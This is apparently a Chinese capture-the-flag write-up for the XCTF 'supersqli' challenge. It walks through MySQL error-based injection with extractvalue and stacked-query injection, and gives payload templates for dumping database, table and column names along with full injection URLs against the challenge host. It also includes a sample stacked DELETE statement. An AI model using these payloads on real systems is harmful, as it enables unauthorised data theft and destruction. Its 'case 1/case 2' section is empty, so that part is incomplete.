XCTF题目:supersqli
一打开页面尝试使用“ ' ”发现可以报错注入
xpath语法错误
利用xpath语法错误来进行报错注入主要利用
extractvalue
和updatexml
两个函数。
使用条件:mysql版本>5.1.5针对mysql数据库:
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database())))) 爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) 爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) 爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
接着使用报错注入获取数据库名称
http://220.249.52.133:34053/index.php?inject=1' and extractvalue('~',concat(0x7e,database())) --+
取得数据库名称:
supersqli
因为过滤了select,这里尝试使用其他方法。
尝试使用叠加注入
堆叠注入顾名思义是指多条SQL语句一起执行。一条SQL语句以;结束,我们可以在结束符后面继续构造下一条SQL语句,这样它们会一起执行。比如
select * from users;DELETE FROM test
获取表名:
http://220.249.52.133:34053/index.php?inject=1' ;show tables from `supersqli` ;--+
获取字段名
http://220.249.52.133:34053/index.php?inject=1' ;show columns from `1919810931114514` ;--+
发现一个flag字段,使用字符串拼接,配合预处理语句执行最后得到flag
遇到一个坑:
在这里的admin用了两个不同的符号框起来
情况1:
情况2:
所以表示一个表的名字时要使用 ` 符号